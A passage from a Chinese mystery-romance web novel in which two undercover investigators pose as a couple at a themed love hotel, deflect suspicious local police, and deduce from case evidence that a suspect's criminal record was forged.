车很快开到了“绯梦阁”的门口,这里的接待大厅还挺有特色,以粉色和黑色为主,高高的天花板上挂着一盏造型别致的吊灯,灯光洒在光滑的黑色大理石地板上,反射出铮亮的光。
前台的接待员看到他们进来,微微颔首,笑道:“先生、小姐,请问是第一次光临吗?需不需要给你们介绍一下我们的特色房型?”
程述偏过头,用余光看了眼拖着行李箱往里走的苟辉,等他走近大厅,才刻意扬高声调:“介绍一下呗。”
接待员拿出一张海报摆在台面上:“我们的特色房型有‘秘密花园’‘月色旖旎’‘粉色漩涡’等等,还有比较有特色的‘赛博风情’‘火热囚禁’,这里有对应的照片,你们可以看看。”
程述给祝好使了个眼色,把海报递给她:“宝贝儿,你挑吧。”
“……”挑个屁啊挑,祝好尴尬得差点用脚趾把铮亮的大理石地面抠出一个洞来,她拿起海报随便扫了一眼,图片长什么样没看清,倒是被一晚上四位数的房价震惊了,低声自言自语道:“怎么那么贵啊。”
接待员介绍道:“小姐,我们这儿的房间经过精心装修和布置,隔音效果特别好,房间内所有的用品都是一客一换,卫生安全有保障,一定能给你们带来不同的惊喜和体验。我们酒店自从开业以来就十分火爆,今天是周末,再晚点儿很多受欢迎的房型可能就被订走了。”
祝好悄悄给程述递了个眼神,问他:“真住这儿?”
程述低低地应了一声“嗯”。
看他们迟迟没做决定,接待员又补充了一句:“如果你们一时决定不了,也可以参加我们的‘盲盒活动’,随机选房,还能享受八折优惠。”
八折优惠,能便宜不少呢,本着能省就省的原则,祝好当机立断:“那就随机挑一个吧。”
毕竟住这种地方,是万万不可能让警局报销的。
程述又补了一句:“对了,给我来个有落地窗的房间,最好能朝向这边。”
他指了指酒店的大门。
接待员点点头,把一张房卡递给他们,笑吟吟道:“房间在5楼,祝愿两位能在绯梦阁度过一个愉快的夜晚。”
苟辉大概也是第一次来这种地方,穿着警服又不好跟进来,只能提着行李箱在大厅门口站得笔直,镜片后的眼神无处安放、到处乱飘。
看到程述拿着房卡过来,他拘谨地推了下眼镜,问道:“程先生,你放好行李,要先去局里转一转吗?”
程述把祝好搂进怀里,扬了扬手中的房卡,朝着苟辉眨了下眼睛:“先不去,坐了一天车累死了,明天再说吧,我还要留点精力到今晚呢。”
祝好:“……”
这一天下来,她槽多无口,内心的省略号连起来几乎可以绕赤道一圈。
苟辉看着也是十分无语,胡乱点了点头,把行李递给他们,撂下一句“明天见”之后,逃也似的冲出了门,仿佛身后的根本不是酒店大厅,而是一个荒淫无度的地狱。
程述朝着他的“落荒而逃”的背影露出一个得逞的笑,电梯门一合上,他才放开了一直搭在祝好肩膀上的手。
电梯来到五楼,他用房卡打开了房间门。灯光亮起,祝好看清了房间里的装修,整个人都凌乱了。
也不知道走了什么狗屎运,开盲盒居然开出了一个监狱风格的房间。
黑色的背景墙、粉色的氛围灯,垂坠的铁链随处可见。房间中央是一张圆形的大床,正对着床的天花板上,镶嵌着一整块镜子。床周围围了一圈铁栏杆,床头居然还有一副手铐。
程述没空理会房间里什么装修,放下行李,径直走到窗边,把窗帘掀开一条缝隙向楼下望去,祝好也赶紧凑上前。
窗正对着酒店大门,能看到苟辉的车还停在楼下,而他正靠在车门上不知在给谁打电话,不过从那一脸无奈又嫌弃的表情来看,多半是在跟领导汇报,顺便吐槽今天的接待的这个傻X。
电话打了大概五分钟,挂断电话后,他抽了根烟,然后把车开走了。
程述拉上窗帘,房间里只剩下他们两个人,终于不用再演戏了。
祝好松了口气,问程述:“老大,我们真的要住这儿啊?”
程述一摊手:“没办法,不住这儿,就只能住招待所了。”
招待所就在警局对面,进进出出都有人盯着,不论做什么都十分不方便。不如借这个机会巩固自己的“草包”形象,给西临市警方留下一个轻佻又随便的印象,让对方觉得他此行的重心并不在破案上。
祝好问:“住这儿我们就可以自由行动了吗?”
程述摇头:“说不准,苟辉好忽悠,但他上头的人估计没那么蠢,我猜他们今天还是会派人盯着我们。”
“那怎么办?”
程述无所谓:“让他们盯着呗,我们这两天先正常行动,该工作的时候象征性地应付一下,不工作的时候就到处转转,晚上回酒店住。总之,别让自己看起
来对这个案子很关注。”
没办法,也只能这样了。
说完这些,程述才往房间里扫了一眼,“嗬”了一声:“你别说,装修得还挺有那味儿。”
祝好朝他翻了个白眼。
好在这个房间除了大圆床之外还有张沙发,正对着床的浴室虽然是透明的玻璃,但也用一张帘子隔了起来。哪怕要在一起住两天,隐私还是能得到保障的,不至于太尴尬。
程述关掉房间里的氛围灯,从行李箱里拿了个紫外线手电筒出来,把全屋上下里外包括浴室、床和沙发都照了个遍,最后得出结论:“贵有贵的道理,卫生做得还挺不错,至少没发现什么别人留下来的子子孙孙。”
他收起手电,拿了套换洗的衣服:“我先去洗个澡。”
祝好看似八风不动地坐在床沿上点了点头,等他一关上浴室的门,立刻迫不及待起身在房间里转悠起来。
虽然表面上是拒绝的,但这样的酒店她只在小黄漫里看过,现实中还是头一回住呢,以后多半也没机会住第二次了,赶紧趁现在研究研究,不能浪费了这四位数的房费。
转了一圈之后,她失望地回到床上,除了灯光暧昧点、装修别致点,其他东西看起来跟普通酒店也没什么不一样。
她默认了那张大圆床是属于自己的,床周围的那一圈铁栏杆还能拉上,晚上把自己锁在里面还挺安全。
至于程述嘛,就把沙发分配给他吧。
祝好往床上一躺,百般聊赖地这里摸摸、那里看看,突然发现床边放着个遥控器。
遥控器上面有几个颜色不同的按键,但没有任何标识,只有后面写着“惊喜遥控器”几个字。
惊喜?
她眼珠子转了转,随手按下一个粉红色的按键,房间里的灯光忽然从浪漫的粉色变成了一闪一闪的红蓝色警灯。
祝好:“……”
真不愧是监狱风格的特色房型,这灯光还怪应景的。
她又按下红色的按键,房间里突然响起一阵声音不大、但十分急促的警报声,伴随着红蓝色的警灯,仿佛她下一秒就要越狱了。
浴室里的水流声戛然而止,程述无奈的声音从里面传出来:“祝好,你干嘛呢?”
祝好连忙按下暂停键,朝他喊道:“没、没什么,你接着洗吧。”
还剩最后两颗按键,她的手指在遥控器上游移,先按下了绿色的那一颗。下一秒,身下的床猝不及防震动起来,她如被火烙,“嗷”一下坐直了身子,又摁了一次,震动才停下来。
还惊喜遥控器呢,迄今为止,惊喜没有,惊吓倒是不少。
看着最后那个蓝色按键,祝好犹豫了一会儿,最后本着“来都来了”的心态,按了下去。
等待片刻,灯光、音乐都没有变化,床也没有再动,正当她疑惑时,就看到面前浴室的帘子正徐徐上升。好在程述正背对着她低头冲洗头发上的泡沫,似乎并没有发现身后的异样。
祝好:“!!!!!!!!”
从她的角度看去,浴室里的风光一览无余。她瞪大双眼,如遭雷劈,石化了0.01秒后,赶紧狂摁那颗蓝色按键,然而帘子却像是要跟她作对似的,丝毫没有要停下的意思,继续缓缓往上升起,而程述已经关掉水龙头,拿了张毛巾开始擦头发。
祝好紧张得眼睛都不知道往哪儿看了,脑门子上全是汗,颤抖的手差点要把遥控器给戳烂,所幸帘子升到最高点之后,终于又缓缓降了下来,并且在程述转身的那一刻恢复了原样。
她整个人如释重负瘫倒在床上:差评,一定要给这个酒店差评!
还没等她舒一口气,就从天花板上的镜子里,看到一道殷红的血迹缓缓自她鼻端处流下。
靠,真丢人,居然流鼻血了。
刚想起身抽几张纸巾,浴室门就被推开了,她来不及思考,赶紧用双手捂住了口鼻,把脸埋在膝盖里。
程述擦着头发从浴室里走出来,瞅了她一眼,问道:“很热吗?”
“不、不热啊。”祝好低着头含糊地应道。
“那你脸怎么那么红?耳朵也是。”顿了顿,他补了一句:“就跟个煮熟的大虾似的。”
祝好毫无底气地干笑了一下:“是灯光问题吧。”
“是吗?”程述狐疑地抬头看了眼粉红色的灯光,又问她:“你不会是发烧了吧?”
该死,怎么会有那么多问题啊!
祝好欲哭无泪:“没有。”
程述似乎不太相信,往床边走了几步,抬手要去摸她的额头。
一看到他的脸,祝好的脑海里就不自觉浮现出刚才那春光乍泄的场景,鼻血差点又一次喷涌而出。
她偏头躲开了他的手:“真没有!我好得很!”
程述被她一惊一乍的举动弄得莫名其妙,刚要起身,目光突然落在她身旁的遥控器上:“这是什么?”
“别动!”祝好脱口而出,但是已经来不及了。
程述把遥控器拿在手里把玩:“惊喜遥控器?什么玩意儿……”
眼看他就要按下按钮,祝好又没有第三只手去阻止他,情急之下,只得胡诌了个借口:“老大!我我、我生理期提前了,你可以去楼下帮我买一包卫生巾吗?”
程述一怔,“嗯”了一声,把遥控器扔回床上,穿上外套就要出门。
走到门口时,他突然想到什么,又顿住了脚步,转身对祝好道:“你先去洗澡吧,记得反锁好门。待会儿洗好了给我打个电话,我再回来。”
第99章
看着程述出了房间,祝好赶紧起身把门关上、反锁,这才靠在门上松了口气。
她想了想,把那个该死的遥控器藏在床头的抽屉里,从行李箱里翻出睡衣,才进了浴室。
浴室里开了排气扇,热水的雾气已经散得差不多了,但空气中还留着沐浴露的余香。
祝好抹开镜子上的水雾,镜中的自己半张脸糊满了鼻血,看着还怪吓人的,幸亏刚才急中生智把程述打发走了,否则要是被他看到,还真不知道要怎么向他解释。
她打开热水把脸上的血洗干净,迅速洗了澡换好衣服,回到床上掏出手机,在浏览器的搜索框输入了“清心决”三个字。
“心若冰清,天塌不惊。万变犹定,神怡气静。尘垢不沾,俗相不染。虚空宁宓,混然无物……”
虽然完全看不懂意思,但通读了一遍之后,祝好感觉自己的灵魂得到了洗涤,脑子里那些不可描述的马赛克画面都被删除干净了,整个人由内而外变得洁净无比,这才拿起手机给程述发了条短信。
“老大,我好了。”
短信才刚发出去,门就被敲响了。
祝好从猫眼向外望去,就见程述拎着个便利店的袋子站在走廊上,看样子已经等了一阵子了。
不知怎么的,她莫名有些心虚,摸了下鼻端,确认自己没再流鼻血后,才打开了防盗链,让程述进来。
程述把鼓鼓囊囊的袋子递到她手里,眉头微微皱起:“看来他们还是对我们有所怀疑。”
祝好一愣:“真有人在楼下盯着?”
程述点点头,抬手关掉了屋里的灯,走到窗前
把窗帘拉开一小条缝隙,指着楼下一辆黑色的suv说:“这辆车在苟辉离开之后就来了,一直到现在也没离开。”
祝好撇了撇嘴:“说不定别人也是来住酒店的呢?”
程述:“我刚才特地绕过去看了一眼,里面坐着俩男的。”
“俩男的就不能来住这种酒店了?你这是性别歧视。”
“你非要跟我杠是吧?”程述不轻不重地往她后脑勺拍了一下,拉上了窗帘:“盯梢这事儿我又没少干,是来开房还是来监视的我还分辨不出来吗?”
“好好好,你最棒了。”祝好对着他竖起大拇指,打开了手里便利店的袋子。
程述脱下外套扔在沙发上,随口道:“不知道你需要什么样的,就每种都买了。”
品种还挺齐全,日用夜用,大包小包,丝网柔棉,满满一袋子。
他突然那么贴心,倒让祝好心底生出些愧疚来:“老大,今晚你睡床吧,我睡沙发。”
程述面无表情地看了她一眼:“嗯。”
祝好:?
怎么答应得那么爽快,都不谦让一下的吗。
罢了,毕竟不管怎么说自己也算是占了他的便宜,不亏,睡沙发就睡沙发吧。
房间的沙发大概也不是为了让人坐的,而是……
虽然程述用紫外线手电筒确认过这里的卫生做得还不错,但祝好心里还是有些膈应,幸好出发之前准备了一次性的床单,这时正好能用上。
给自己铺好“床”后,祝好才安心躺下。看着天花板上粉红色的氛围灯,她突然有片刻的茫然,转头看向铁栏杆里的大圆床上悠然自得翘着二郎腿的程述,问道:“老大,我们两个人,真的能完成这个剧——这个案子吗?”
仔细回想这起案子,陈瑞泽被从荒地里挖出来的尸体就像是一根线,本以为顺着这根线摸下去,就能找到完成剧情的关键线索,没想到牵扯出来的,却是一个又一个谜团。
身为“嫌疑人”的周逸坠楼身亡,秦聿风被污蔑为凶手,西临市警方很有可能只是一把保护伞……而背后那不为人知的秘密,却仍然被重重迷雾遮挡得严严实实。
这么错综复杂的案情,光凭她和程述两个人,真的能完成吗?
程述还是像往常一样,声调懒洋洋的,一副无所谓的态度:“不知道,走一步看一步吧。”
祝好想怼他两句,却又一时无言以对。
也是,想太多除了给自己徒增烦恼之外,没有其他作用,还不如走一步看一步呢。
想到这儿,又觉得有些好笑,自己什么时候被程述这种佛系的性格给传染了。
*
祝好一觉睡到了天亮,醒来时天光已经大亮,转头看向那张大圆床,程述正靠在床头玩手机。
她迷迷糊糊地揉了揉眼睛,问道:“老大,几点了?”
程述头也不抬:“九点。”
九点?警局不是早就上班了吗?
下一秒,祝好就反应过来,既然他们要表现得对这个案子并没有很关注,那迟到是再正常不过的事。
她伸了个懒腰,走到窗边往下看,那辆黑色的suv果然还在。
沙发虽然睡得不太舒服,但转念一想,楼底下负责监视他们的人要在车里睡一夜,祝好心里登时平衡不少。
程述看她起床,给前台打了个电话——昨天入住前,招待员说了每个房间都会赠送特别定制的早餐,四位数的房费呢,不吃白不吃。
祝好刚洗漱完毕,早餐就送到了,还用两个不锈钢的半圆形餐盘盖盖着,怪有仪式感的。
她满心期待掀开盖子,差点被盘子里两个流心荷包蛋和一根香肠的奇葩摆盘给气笑,忍无可忍道:“老大,我们今晚能换个地方住吗?”
这个酒店她是一秒钟都不想再呆下去了。
程述拿起餐刀把香肠切成了几段:“忍忍吧,突然从情侣酒店换到普通酒店,还开两个房间,明眼人都能看出问题来。”
祝好叹了口气,行吧,忍吧。
吃完早餐,换好衣服,他们才慢悠悠出门,程述在楼下随手拦了辆的士。的士起步后不久,祝好就从后视镜里看到那里黑色suv也缓缓启动了。
看来西临市的警方还是对他们心存疑虑,也就是说,这场戏还得继续演。
苟辉早早就在警局门口候着了,看到他们来,立刻换上一副虚伪又客套的笑脸:“程先生,祝小姐。”
程述拍了拍他的肩膀:“小苟,早上好啊!”
苟辉做了个“请”的手势,领着他们往警局里走:“我先带你去见见我们队长吧,关于秦队那个案子如果你有什么想知道的,都可以问他。”
“行,你走慢点儿。”程述一手扶着腰,一手自然地揽住了苟辉的肩膀,“诶”地叹了口气:“年纪大了,才那么四五回腰就不行了。不过你别说,那个酒店真是不错,我今天得多吃点生蚝什么的补一补,晚上再换个房间体验一下。”
这演技真是流畅又自然,撒起谎来脸不红气不喘,奥斯卡不给他发座小金人还真是可惜了。
跟在他们身后的祝好默默抬起手挡住了自己的脸,心里十分庆幸西临市没有自己认识的人,否则她一定当场挖个坑把自己给埋了。
程述一路上都在喋喋不休地向苟辉传授“经验”,一看就没有任何恋爱经历的苟辉十分不自在,满脸通红,走路姿势都变成了同手同脚,直到把他们带到了队长办公室门口,才如释重负,几不可闻地舒了口气,恨不得把“终于可以摆脱这个傻x了”几个字写在脸上。
他敲了敲门:“林队,人到了。”
同时向程述和祝好介绍:“这是我们队长,姓林。”
办公室里的林队长闻声抬起头,对他们笑了一下:“请进。”
林队长看着四十来岁的模样,留着寸头,剑眉入鬓,身材精壮结实。
他起身向程述伸出手:“你好,林洋。”
程述也握住他的手,笑了笑:“程述,这是我的小助手,祝好。”
林洋穿着件黑色的衬衫,衬衫袖子挽到小臂,握手的时候,祝好注意到他露出的胳膊上有一道蜈蚣似的蜿蜒的伤疤,从胳膊肘一直爬到手腕上。
林洋朝苟辉使了个眼色,示意他请两人在沙发上坐下,又给他们倒了两杯热水,说起了客套话:“秦队在我们西临市发生这样的事情,我也感到十分惋惜,还麻烦你们大老远跑来,真是辛苦了。”
程述往沙发上一靠,无所谓地笑了笑:“不辛苦,就当旅游了。”
林洋也笑,话锋却陡然一转:“我看过程先生的履历,你在警校的表现十分优秀啊,而且刚进警局不久就得到了不少领导的赏识,是个不可多得的人才。”
他话说得直接,对自己查过程述的资料这件事毫不避讳。
程述不以为意一耸肩:“嗐,过奖过奖,都是以前的事了,不值一提。”
林洋脸上虽然带笑,目光却很凌厉:“冒昧问一句,你在警局明明有大好前途,为什么要突然辞职?”
祝好闻言不由得一愣,下意识转头看向程述:既然查了资料,不可能不知道他辞职的原因,这是故意要试探他吗?
程述面不改色地一挑眉:“林队,你
知道帮人抓一次小三能挣多少吗?抵得上警察一个月的工资了,我干嘛还要累死累活的,更别提——”
他坐直身子,拿起杯子喝了口水,顿了顿,才继续道:“还可能连累家人。”
说着瞥了眼林洋左手无名指上的戒指:“林队也有自己的家人,我想你应该能够理解。”
他坦诚地自揭了伤疤,倒让林洋有些意外,一时间噎住了,只是点了点头:“那倒是。不过你又是为什么回到警队里当起了刑事犯罪顾问呢?”
程述似笑非笑:“看来林队对我的兴趣,比对案子的兴趣要大得多啊。”
林洋不置可否地抬了抬手,目光没有从他脸上挪开,依旧在等待着他的答案。
第100章
程述没有马上说话,林洋也耐心等等。
祝好注意到程述的手微微蜷起,食指有规律地、微不可察地一下一下轻敲着沙发扶手——那是他思考时的习惯性动作。
很显然,他也看出来林洋这么问是在试探他。
如果程述实话实说,告诉林洋自己是为了能继续调查指甲油杀手的案子才接受这份职务,那就跟他先前塑造出来的“草包”形象相背而行了——林洋身为西临市的刑警队长,一定知道“刑事犯罪顾问”不是谁都能当的。能被聘为警局的顾问,多少要有点本事在身上。
方寸大的办公室里十分安静,似乎有暗流汹涌而起。
祝好能感觉到,此刻林洋对他们的怀疑已经到了顶峰。
心念电转间,她突然有了主意,冷不丁用手肘撞了程述一下,撅着嘴佯装生气:“都怪你!我都说了让你别这么做,迟早会被人发现的。”
不等程述说话,她就一把抱起他的手臂,焦急地朝林洋解释道:“林队长,其实这件事也不能全怪我家老程,毕竟当初是秦警官主动要求他去当那个什么顾问的。他当时说得可简单了,只要有案子的时候在现场露个脸,随便说两句话就能多一份收入,换谁谁都会心动吧?”
林洋眼角微微一抽,有些困惑,似乎一时没明白她的意思。
程述只愣了一瞬,很快反应过来,叹了口气,干巴巴地笑了一下:“林队,这都被你看出来了?其实当时我想拒绝秦队的,但是转念一想,我也快三十岁了,娶老婆、买房子,哪一样不要花钱?他说他拿四分,我拿六分,我算了算感觉也不亏,这才答应他的。”
祝好不轻不重地捶了他一下,真情实意地挤出两颗泪花:“我当时就跟你说过了,秦聿风表面上看起来一本正经,其实一看就不是什么好人,你偏不听我的。”
程述配合地把她搂进怀里,柔声安慰道:“我这不是想多攒点钱,早点把你娶回家吗?别生气了,我答应你等这回出差的补贴下来我就辞职,以后专心抓小三,行了吧?”
祝好委屈巴巴地抹了把眼泪,诚恳地看向林洋:“林队,老程他知道错了,这事儿拜托您千万别告诉他们局长。”
她对自己浮夸中又带了点真诚的演技十分满意,觉得跟程述相比,简直有过之而无不及。
两个人这一唱一和演了出双簧,不仅巩固了程述“不靠谱”的形象,也侧面向林洋暗示了一点:秦聿风在他们心里就是个爱财如命的伪君子,他能为了那点工资让程述当上顾问,自然也有可能为了二十万杀人灭口。
林洋犹疑的目光在两人的脸上逡巡了一阵子,一时竟分辨不出真假,沉默片刻后,清了清嗓,转移了话题:“这些事以后再说吧,你们这次来,不是为了秦队的案子吗?”
程述愣了一下,然后一拍脑门,一脸“你不说我差点儿忘了”的窘迫表情:“是的是的,那个……你们有什么线索了吗?”
林洋从口袋里拿了包烟出来,抖出一根,递给程述。程述摆手拒绝后,他自顾自把烟叼在嘴里点燃了,说道:“昨天苟辉也跟你们说过了,那片工地附近只有一个交通监控,我们已经尝试着在附近征集民用监控了,希望能找到秦队的身影。”
程述露出一个谄媚的笑:“辛苦了辛苦了,真是给你们添麻烦了。”
说完装模作样地犹豫了一下,搓了搓手,不好意思道:“说实话,这个案子我可能也提供不了什么帮助,不过还是希望林队能给我们一些线索、资料之类的,不然我实在不好回去交差。”
林洋掀起眼皮瞥了他一眼,似乎已经从心底认定了他是个彻头彻尾的傻X,甚至觉得自己刚才的试探简直就是浪费时间。
抽了两口烟后,他叫来了苟辉:“你带他们到待客室里歇一会儿,把卷宗整理一下,复印一份给他们吧。”
程述闻言大喜,双手合十朝着林洋鞠了个躬:“谢谢,谢谢林队。咳,那个……顾问那件事,还请你帮我保密一下,我也知道自己这事做得不对,回去我一定主动辞职。”
林洋不耐烦地“嗯”了一声,朝门口的方向挥了挥手,下了逐客令。
祝好暗暗松了口气,走出办公室才发现自己手心里都是汗,毫不客气地往程述的外套袖子上擦了两把。
*
在待客室坐了一会儿,苟辉就拿着一沓复印好的资料过来了:“你们看看吧,还需要什么可以跟我说。”
苟辉看似精明,但终归没有林洋那么老道,特别是被程述逗了几回之后,看向他们的眼神都有些不自然了,好像生怕一不小心又听到什么不堪入耳的虎狼之词。
程述拿起资料随意翻了翻,就递到祝好手里:“宝贝儿,你不是一直喜欢阿加莎吗?要不要试试看能不能推理出什么。”
或许是对他们的防备降低了,苟辉拿来的资料还挺齐全,有周逸的个人信息、尸检结果,还有在他家和车里现场勘查取证的照片。
不过至于哪些是真的,那些又是伪造的,暂时还不得而知。
祝好翻看着资料,突然注意到了几张照片。
照片上是周逸的车,吸引祝好的是后备箱里的一个行李箱。从照片上看,行李箱的四个滚轮十分干净,没有一点儿泥土的痕迹,应该不是用来抛尸的。
她刚想问些什么,又想到程述说过尽量别对这起案子表现得太关注,便默默把话咽了回去。
程述仿佛看穿了她的心思,给她递了个眼神,换上一副宠溺的口吻:“怎么,阿加莎推理出什么了?有什么不懂的可以向小苟警官请教一下。”
祝好强忍恶心,转头问苟辉:“小苟警官,周逸车里的这个行李箱,里面都装了什么?”
苟辉推了下眼镜:“我们看过了,就是一些衣服而已,估计他是打算抛尸之后逃跑,只是不知出于什么原因,又把车扔在了那个地下车库里。”
祝好问:“我可以看看那些衣服吗?”
苟辉有些不情愿,但不知是不是想早点把他们打发走,还是回答道:“东西在物证室,我得去申请一下。”
程述笑了笑:“那就麻烦小苟警官了。”
大约过了二十分钟,苟辉抱着一个箱子回到接待室,又拿了两对手套给他们:“行李箱的东西都在这儿了,你们自己看吧。”
祝好戴上手套,把箱子里用证物袋装好的东西一件件摆在接待室的桌上。
行李箱里确实只是一些当季的衣服,从外套、外裤、T恤,再到内裤、袜子等等,一应俱全,甚至还有一双拖鞋和两双运动鞋,除此之外,并没有什么特别的。
可祝好有些不解,如果周逸真的是杀了人打算逃跑,应该离开得很仓促才对,怎么会有心思把行李收拾得那么齐全呢?
正如程述所说,这个案子的证据多得有些超出常理了。加上在他家里发现的属于陈瑞泽的牙齿和毛发、以及他雇佣孙彪绑架温珣验尸的行为,祝好内心更加笃定,周逸并非杀害陈瑞泽的凶手。
苟辉看她对着那几件衣服发愣,有些不耐烦地问道:“怎么样,看出什么了吗?”
祝好回过神来,佯装失望地瘪着嘴摇了摇头:“看不出来。”
程述朝她眨了下眼睛:“宝贝儿,没事,今晚我们再回去好好学习学习。”
还演上瘾了是吧!祝好一阵恶寒,鸡皮疙瘩瞬间爬满胳膊,不动声色地踹了他一脚。
程述笑得没脸没皮,把那一沓资料收进文件袋里,转头对苟辉说道:“小苟,辛苦你了,也帮我跟你们林队说声谢谢,如果还需要什么资料回去交差我再联系你。”
苟辉十分勉强地扯了下嘴角,恨不得把“求求您可别再联系我了”几个字写在脸上。
从警局离开
时已经是傍晚了,程述随手搜了家在西临市当地还算有名的粥底火锅,叫了辆出租车,报上了地址。
一路上,祝好特地盯着后视镜看,并没有发现哪辆车一直跟着他们。这也说明,西临市的警方对他们的警惕性放松不少。
正值饭点,火锅店十分热闹,就剩下最后一个靠角落的桌子了。
程述点了个招牌的粥底,锅里米白色浓稠的汤面咕嘟咕嘟冒着泡,他把一碟雪花牛肉倒进去,用筷子搅了搅,夹了几块放进祝好的碗里:“你今天反应还挺快呀,有进步。”
新鲜的牛肉微微泛红,奶香里又带着一丝粥底的米香,祝好点了下蘸料,塞进嘴里嚼吧嚼吧,含糊道:“那是,我就说了你带我一起来不会错的。”
程述轻笑一声,又问:“那行李箱的东西你看出有什么不对劲了吗?”
祝好点点头,把一块刚烫好的牛肉塞进嘴里,被烫得龇牙咧嘴,抬手把服务员招呼到跟前:“你好,麻烦给我拿一罐冰可乐……”
程述打断她,对服务员道:“不要冰的,拿一罐常温的就行。”
等服务员走了,才说:“你不是生理期吗,喝什么冰的,万一肚子疼我可没空理会你。”
祝好莫名有些心虚:对了,差点忘了自己还是“生理期”。
她悻悻地喝了口常温的可乐,无滋无味,一点都不刺激,快乐瞬间少了一半。
放下可乐罐,她仔细回想了一下今天翻看那些衣服时发现的异常,说道:“我觉得周逸根本就不是想杀死陈瑞泽,甚至他到抛尸现场也并不是偶然,而是他俩早就计划好了要一起离开。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
100-110
第101章
程述停下筷子看着她:“嗯?”
祝好撇了撇嘴:“装什么呢,你也看出来了吧?”
程述不置可否地笑笑,又夹了一块肉放进她碗里。
行李箱里的那些衣服基本都来自同一个平价品牌,但祝好却发现有一部分衣服是S码的,还有一部分是L码,除此之外,两双运动鞋的尺码也不一样。
程述从文件袋里翻出周逸和陈瑞泽的个人资料,上面显示周逸的身高是一米七六,而陈瑞泽的身高则是一米六二,也就是说,L码的衣服是周逸自己的,而S码的衣服,很有可能是为陈瑞泽准备的。
这也能解释陈瑞泽手机里最后一通电话为什么是打给周逸的。
所以说,那天晚上周逸本来是打算接陈瑞泽一起走的。只是他最终还是晚了一步,等他赶到时,只目睹了陈瑞泽的尸体被人埋在荒地,吓得落荒而逃,冷静下来后,才想到要查明陈瑞泽的死因。
因为对西临市警方对不信任,才雇佣了孙彪,绑架温珣进行验尸,却不知自己早就被人盯上了。
只是……杀害陈瑞泽的人,与杀害周逸、嫁祸给秦聿风的会是同一伙人吗?
西临市的警方、特别是队长林洋,在其中又扮演着什么样的角色?
祝好若有所思地看着锅里袅袅升腾的白色雾气发呆,碗里的肉不知不觉堆成了一座小山。
看她不动筷,程述用筷尾敲了敲她的碗:“先吃饭,再不吃就凉了。”
*
吃了饭,回到酒店,祝好又把文件袋里的资料一股脑倒在大圆床上,趴在床沿一张一张认真翻看起来。
程述倒在床上,撑着下巴,嘴角要笑不笑地舒展着:“没必要那么废寝忘食吧?就算案子破了我也不会给你涨工资的。”
暧昧的粉红色灯光落在他脸上,祝好一抬眼,正对上他含笑的眼神,脑子里又莫名涌进了某些马赛克画面。
该死,没完了是吧?
她赶紧默念着“清心决”,“啪”地把一打资料拍在他脸上:“我这不是为了赶紧找出真凶,还秦警官清白嘛,你也看看能不能找到什么线索。”
程述把她的手挪开,挑了挑眉:“你对老秦倒是挺关心的,怎么没见你对我那么关心呢?”
祝好朝他翻了个白眼:“可以把你的戏瘾收一收吗?这儿就我们两个人,你演给谁看呢。”
“你怎么知道我在演。”程述轻笑一声,拿起那打资料仰面躺在床上,随意翻了几页,突然好像发现了什么,倏地坐了起来,表情也变得有些严肃。
祝好赶紧凑上前:“怎么了?”
他手里的是周逸个人资料里的一份犯罪记录,上面写着周逸因为猥亵和谋杀未遂进少管所呆过两年,从少管所出来之后还有一些盗窃、抢劫的记录。
祝好看着他紧皱的双眉,不解道:“有什么不对吗?”
程述沉吟片刻:“这份犯罪记录应该是假的。”
“假的?”祝好把那份犯罪记录翻来覆去看了好一会儿,还是没太懂他的意思:“怎么看出来的?”
“他的第一次犯罪就是猥亵和谋杀未遂,可之后却变成了小偷小摸和抢劫,从犯罪心理和行为分析学上的角度上看,这几乎是不可能发生的。毕竟犯罪行为只会逐步升级,杀人未遂可能会发展成更恶劣的罪行,但不会退化成小偷小摸。”
程述接着说:“所以只有一种可能,那就是他根本没有什么前科,他的这份犯罪记录是伪造的。而伪造记录的人完全不懂心理学和行为分析学,只是一股脑把能想到的罪名安到他头上。”
能伪造犯罪记录的,十有八九是有办法接触警务系统的人。而他们这么做的目的,就是为了把周逸谋杀陈瑞泽这件事变得更合理。
祝好突然意识到什么:“老大,你还记得陈瑞泽的父母怀疑周逸杀人的原因吗?”
程述回忆了一下:“老秦当时说,是因为周逸有过前科,而且自从陈瑞泽跟他认识后,就变得叛逆不少。”
祝好提出疑问:“如果这份犯罪记录是伪造的,他们又怎么会认为周逸有过前科?”
程述闻言微微眯起眼睛:“你的意思是,陈瑞泽的父母有可能在撒谎?”
祝好点点头。
可问题是,他们为什么要撒谎?
难道说,是有人威胁他们这么说的?
程述捻着下巴想了一会儿:“这样吧,明天我们去找他爸妈聊聊。”
祝好问:“怎么聊?”
或者应该问,以什么身份去聊?
程述狡黠一笑,从行李箱里掏出一个小袋子,透过敞开的袋口,能看到里面全是各种各样的卡片和证件。
祝好把袋子提起来倒了倒,随便拿起一张,发现是一张西临市某大学的毕业证,又拿起一张,厉害了,是西临市的警官证。
当然,无一例外,全是假的。
祝好眼睛发亮:懂了,cosplay是吧?
她忍不住问:“老大,这些东西你是去哪儿弄的?”
程述把证件一张一张收回袋子里:“别问那么多,我有办法弄到就行。”
难怪出发来西临市之前他说要准备两天呢,合着是准备这些东西去了。
她迫不及待地搓了搓手:“那我们明天cos什么?警察吗?”
程述摇了摇头。
如果他们真的受到了威胁或者欺骗,一定会对警方十分警惕,甚至是反感,这时如果以警察的身份去接近他们,非但套不出什么话,还有可能适得其反。
他抱着双臂,眼观鼻鼻观心思索片刻,突然问:“哎,陈瑞泽是什么时候辍学的来着?”
祝好翻了翻资料:“三年前,当时他在西临市第一中学读初一。”
“那我们就当一回第一中学的老师吧,从前的学生出了事,以学校的名义探望、慰问家长再合理不过了,连证件都省了。”
祝好嘴角一抽,用怀疑的眼神上下打量着他:“你?老师?”
程述斜睨她一眼:“我怎么了?我看起来不像个老师吗?”
祝好摇摇头,实话实说:“你痞里痞气的,像个老流氓。”
程述没绷住笑出声,推了一下她的脑袋:
“去你的,把我床上的东西都收拾好,滚回你的沙发去。”
说完起身在行李箱里找了一套干净的衣服。
祝好一愣:“你要洗澡?”
程述抬眼看她,一脸莫名其妙,仿佛她问了一句废话:“不行吗?”
祝好心虚地咽了下口水,想了想,说:“老大,我想出去一下。”
“去哪?”
“我饿了,我去买点吃的。”
程述无奈:“你的胃是无底洞吗?我们才刚吃完饭回来。”
祝好随意找了个借口:“我嘴馋不行吗?刚刚回来的时候我在路口看到一家卖炸土豆的,闻着可香了。”
不等程述回答,她披上外套就往门口走:“那家店就在楼下,我快去快回,你赶紧洗哈。”然后在他狐疑的眼神中逃也似的逃离了房间。
从酒店大门出去,往前走个百来米,拐个弯就是大马路了。
